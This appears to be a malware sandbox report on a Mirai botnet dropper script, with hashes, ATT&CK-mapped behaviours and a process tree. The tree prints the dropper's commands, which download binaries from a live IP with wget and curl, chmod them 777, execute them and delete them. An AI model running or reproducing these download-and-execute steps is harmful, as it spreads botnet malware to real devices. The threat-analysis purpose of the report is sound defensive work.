mirai | 0452e5f363cfc17bf436564ac2cf30e71f7ee30d2d5d66768482c45f8a734d12

Analysis

max time kernel
149s
max time network
150s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
08/06/2026, 01:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ok.sh
Size 1KB
Sample260608-b689xsft6x
SHA256 0452e5f363cfc17bf436564ac2cf30e71f7ee30d2d5d66768482c45f8a734d12
MD5 5c152227f91af4ec7999c4489acdfd86
SHA1 d720d71aeed228b3f81e75d3d04c050bda260b87
SHA512 cd3ed8cc02c887c05406df650710fae5daa6927e6ced077b69a0dbf4845c44d88bc2956939305be7c77687c57e1d3db2b56d776b749f6dda2deb68e11989dd90
TLSH
T1C93175EB0F197ACD5104DD7573A53548D090A7DF248FE794FB884C7AA2C854C3259F0A
MD5 SHA1 SHA512 TLSH

Score

10^/10

antivm botnet defense_evasion discovery mirai

Malware Config

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

File and Directory Permissions Modification 1 TTPs 9 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
752	chmod
768	chmod
775	chmod
805	chmod
815	chmod
702	chmod
759	chmod
791	chmod
798	chmod

Executes dropped EXE 9 IoCs

ioc	pid	Process
/tmp/651f02	703	ok.sh
/tmp/b1e0ed	753	ok.sh
/tmp/89d453	760	ok.sh
/tmp/3aad49	769	ok.sh
/tmp/87b3cd	776	ok.sh
/tmp/c93d53	792	ok.sh
/tmp/5c7dfe	799	ok.sh
/tmp/88c338	806	ok.sh
/tmp/fa4204	816	ok.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	89d453
File opened for modification	/dev/misc/watchdog	89d453

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	89d453

Changes its process name 2 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	bash	760	89d453
Changes the process name, possibly in an attempt to hide itself	bash	761	89d453

Checks CPU configuration 1 TTPs 9 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	89d453

Reads runtime system information 49 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/590/exe	89d453
File opened for reading	/proc/631/exe	89d453
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/140/fd	89d453
File opened for reading	/proc/169/fd	89d453
File opened for reading	/proc/293/fd	89d453
File opened for reading	/proc/763/exe	89d453
File opened for reading	/proc/566/exe	89d453
File opened for reading	/proc/640/exe	89d453
File opened for reading	/proc/220/fd	89d453
File opened for reading	/proc/591/fd	89d453
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/1/fd	89d453
File opened for reading	/proc/295/fd	89d453
File opened for reading	/proc/302/fd	89d453
File opened for reading	/proc/566/fd	89d453
File opened for reading	/proc/631/fd	89d453
File opened for reading	/proc/642/fd	89d453
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/642/exe	89d453
File opened for reading	/proc/651/exe	89d453
File opened for reading	/proc/281/fd	89d453
File opened for reading	/proc/761/fd	89d453
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/591/exe	89d453
File opened for reading	/proc/635/exe	89d453
File opened for reading	/proc/298/fd	89d453
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/590/fd	89d453
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/638/exe	89d453
File opened for reading	/proc/763/fd	89d453
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/582/exe	89d453
File opened for reading	/proc/585/exe	89d453
File opened for reading	/proc/639/exe	89d453
File opened for reading	/proc/779/exe	89d453
File opened for reading	/proc/283/fd	89d453

Writes file to tmp directory 14 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/651f02	wget
File opened for modification	/tmp/651f02	curl
File opened for modification	/tmp/b1e0ed	wget
File opened for modification	/tmp/b1e0ed	curl
File opened for modification	/tmp/89d453	wget
File opened for modification	/tmp/3aad49	wget
File opened for modification	/tmp/87b3cd	curl
File opened for modification	/tmp/c93d53	curl
File opened for modification	/tmp/89d453	curl
File opened for modification	/tmp/3aad49	curl
File opened for modification	/tmp/87b3cd	wget
File opened for modification	/tmp/5c7dfe	curl
File opened for modification	/tmp/88c338	curl
File opened for modification	/tmp/fa4204	curl

/tmp/ok.sh
/tmp/ok.sh
1⤵
- Executes dropped EXE
PID:642
- /usr/bin/wget
  wget http://45.205.1.59/651f02
  2⤵
  - Writes file to tmp directory
  PID:647
- /usr/bin/curl
  curl -O http://45.205.1.59/651f02
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:669
- /bin/chmod
  chmod 777 651f02
  2⤵
  - File and Directory Permissions Modification
  PID:702
- /tmp/651f02
  ./651f02 newsrv
  2⤵
  PID:703
- /bin/rm
  rm -rf 651f02
  2⤵
  PID:706
- /bin/rm
  rm -rf 651f02.1
  2⤵
  PID:709
- /usr/bin/wget
  wget http://45.205.1.59/b1e0ed
  2⤵
  - Writes file to tmp directory
  PID:712
- /usr/bin/curl
  curl -O http://45.205.1.59/b1e0ed
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:721
- /bin/chmod
  chmod 777 b1e0ed
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/b1e0ed
  ./b1e0ed newsrv
  2⤵
  PID:753
- /bin/rm
  rm -rf b1e0ed
  2⤵
  PID:755
- /bin/rm
  rm -rf b1e0ed.1
  2⤵
  PID:756
- /usr/bin/wget
  wget http://45.205.1.59/89d453
  2⤵
  - Writes file to tmp directory
  PID:757
- /usr/bin/curl
  curl -O http://45.205.1.59/89d453
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:758
- /bin/chmod
  chmod 777 89d453
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/89d453
  ./89d453 newsrv
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:760
- /bin/rm
  rm -rf 89d453
  2⤵
  PID:762
- /bin/rm
  rm -rf 89d453.1
  2⤵
  PID:765
- /usr/bin/wget
  wget http://45.205.1.59/3aad49
  2⤵
  - Writes file to tmp directory
  PID:766
- /usr/bin/curl
  curl -O http://45.205.1.59/3aad49
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:767
- /bin/chmod
  chmod 777 3aad49
  2⤵
  - File and Directory Permissions Modification
  PID:768
- /tmp/3aad49
  ./3aad49 newsrv
  2⤵
  PID:769
- /bin/rm
  rm -rf 3aad49
  2⤵
  PID:771
- /bin/rm
  rm -rf 3aad49.1
  2⤵
  PID:772
- /usr/bin/wget
  wget http://45.205.1.59/87b3cd
  2⤵
  - Writes file to tmp directory
  PID:773
- /usr/bin/curl
  curl -O http://45.205.1.59/87b3cd
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:774
- /bin/chmod
  chmod 777 87b3cd
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /tmp/87b3cd
  ./87b3cd newsrv
  2⤵
  PID:776
- /bin/rm
  rm -rf 87b3cd
  2⤵
  PID:777
- /bin/rm
  rm -rf 87b3cd.1
  2⤵
  PID:778
- /usr/bin/wget
  wget http://45.205.1.59/c93d53
  2⤵
  PID:779
- /usr/bin/curl
  curl -O http://45.205.1.59/c93d53
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:790
- /bin/chmod
  chmod 777 c93d53
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/c93d53
  ./c93d53 newsrv
  2⤵
  PID:792
- /bin/rm
  rm -rf c93d53
  2⤵
  PID:794
- /bin/rm
  rm -rf c93d53.1
  2⤵
  PID:795
- /usr/bin/wget
  wget http://45.205.1.59/5c7dfe
  2⤵
  PID:796
- /usr/bin/curl
  curl -O http://45.205.1.59/5c7dfe
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:797
- /bin/chmod
  chmod 777 5c7dfe
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/5c7dfe
  ./5c7dfe newsrv
  2⤵
  PID:799
- /bin/rm
  rm -rf 5c7dfe
  2⤵
  PID:801
- /bin/rm
  rm -rf 5c7dfe.1
  2⤵
  PID:802
- /usr/bin/wget
  wget http://45.205.1.59/88c338
  2⤵
  PID:803
- /usr/bin/curl
  curl -O http://45.205.1.59/88c338
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:804
- /bin/chmod
  chmod 777 88c338
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/88c338
  ./88c338 newsrv
  2⤵
  PID:806
- /bin/rm
  rm -rf 88c338
  2⤵
  PID:808
- /bin/rm
  rm -rf 88c338.1
  2⤵
  PID:809
- /usr/bin/wget
  wget http://45.205.1.59/fa4204
  2⤵
  PID:810
- /usr/bin/curl
  curl -O http://45.205.1.59/fa4204
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:814
- /bin/chmod
  chmod 777 fa4204
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/fa4204
  ./fa4204 newsrv
  2⤵
  PID:816
- /bin/rm
  rm -rf fa4204
  2⤵
  PID:818
- /bin/rm
  rm -rf fa4204.1
  2⤵
  PID:819
- /usr/bin/wget
  wget http://45.205.1.59/078541
  2⤵
  PID:820

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

3aad49

Path /tmp/3aad49
Size 38KB
SHA256 e58df93dd08f29c8565cb3164d0d98164bd9f5aeed817680aed0a8504979cef9
MD5 9362ae90bf3ad4b68f1520561c8c4373
SHA1 91456c1685cc31e774b6065a86b8b421a9448014
SHA512 fd3e36b2689b936b28a85a384ac0816f4945ceb80907cdda51d0b617986106622ffd6c1c92fd748d6da0902255b91ea01d7296956d5bba07f598d75fa65574d8
SSDEEP 768:uakp2uwt2pDEZn5lOSwyeX8qtHtIqqgPT3HC94fo8+gCC:uaq2uwtoDEzfgBFOqVpwbgCC
TLSH
T1C5037EF6C46D6E84D1195374A8258A787B13E10493973FFE2B5989B58043DECFB193B0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

651f02

Path /tmp/651f02
Size 42KB
SHA256 6e7bd8c8d18f8b22e8606be23e7f73f3fb53fdaf5294e20a79b5290c94294075
MD5 62f261f1dcf63ca4a98ef25f01de7fa5
SHA1 092f07da2d2ba2d01f9e12c8676905f537dd3470
SHA512 18af39e2ef86d2df973b5860d4572e84d3f402e7249ec02101ed48050f44de476d48c1f1c3adcbb206e2809428ec8d95834afc0ffe1a10c1c3f198a0eeecb561
SSDEEP 768:fYemKcB66rTyEyZbIXTh/CTgCbcLfM2UkEB73V8ozAx8TTa:QaCbrTFXAUCbcTMQEB73OozI8TO
TLSH
T1F21319DBB4099D7CF81FEB7E94124909B271774551830B3627BBFDA36C321A49D22E82
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

87b3cd

Path /tmp/87b3cd
Size 35KB
SHA256 b87570fe382a02b2f3359fe527347b19073222c95adb6bb172144765eb75b822
MD5 e789d594bea34fa894145161f0a74a6e
SHA1 1f8e6d7f1a6d5c6984a35ec6a1c034f4a4355d09
SHA512 b8e8891992975628d7a5462f8526e8826e2a7499b05e1872eec228fb45da9dcacbc33bed99718bab7c453a895a4d0da72f037ca316fe7cec8ce32e50ff028111
SSDEEP 768:9AuF4dnsueEBEnRCAT4a99qBnoSBklvQcK5EwnBmkooIPNw:6dnkyEd1SBoYBm6
TLSH
T14EF2D492BC939A26C6E4237AFA6E418D332663A8D1DF3217CD211F057AC651F0D77B41
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

89d453

Path /tmp/89d453
Size 112KB
SHA256 603b6edb14da45403a10552f23f254dcb9e4665e151a0d82d4b3dbc0b4c0d494
MD5 ca4a2beb7e688afe066706c3c234c29c
SHA1 fc508c16a5db0fac6af002e7d9f8d64cb2380a8a
SHA512 82e27e154127514931c2537db98233b6fea8092cbadc30e6ad0374f34d71d527a3118fc6cd8278bc861dc272b0563b949b1c4d2bec7ceb01ee8b8dc4097c3296
SSDEEP 3072:cFmowWuMetnN0oihFJXSaOVHIjaM/9K0r:fowWuMetN0oihFxSpHIeM/93
TLSH
T17DB33B46EA418B03C0D5177ABAEF42453323E754A3DB73068A186FB43F86B9F0E67506
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

b1e0ed

Path /tmp/b1e0ed
Size 55KB
SHA256 56163abfecf275a40e2b6a4aea702e2f1ea9d65e4de316a425d3cad688963937
MD5 b824a8a3aa8551b2006940c85fdd6d23
SHA1 c80c716629ea98f362574fa4205bc866e582da9b
SHA512 3f01cb677768cccf6786b1da77d9d3c013075f07166105365095c6b08ed4a158299ac46a7f4174fd5ecd5dc9687256ab399303f3c3f0cb23f8c810cb349c7f59
SSDEEP 768:wWx2ZQnvd3UPb804j80lLdRJt/XNt3tEwWzwsnusBkDwwP+ToSnOdiuxb+yzBHNC:d2+nvd3UP27rJ5NnwBkDwtOiMiyzW
TLSH
T10343961A2E658FFCFB6C863547B78E20A25C339616E1C545E15CEA011EB034E785FBAC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

c93d53

Path /tmp/c93d53
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads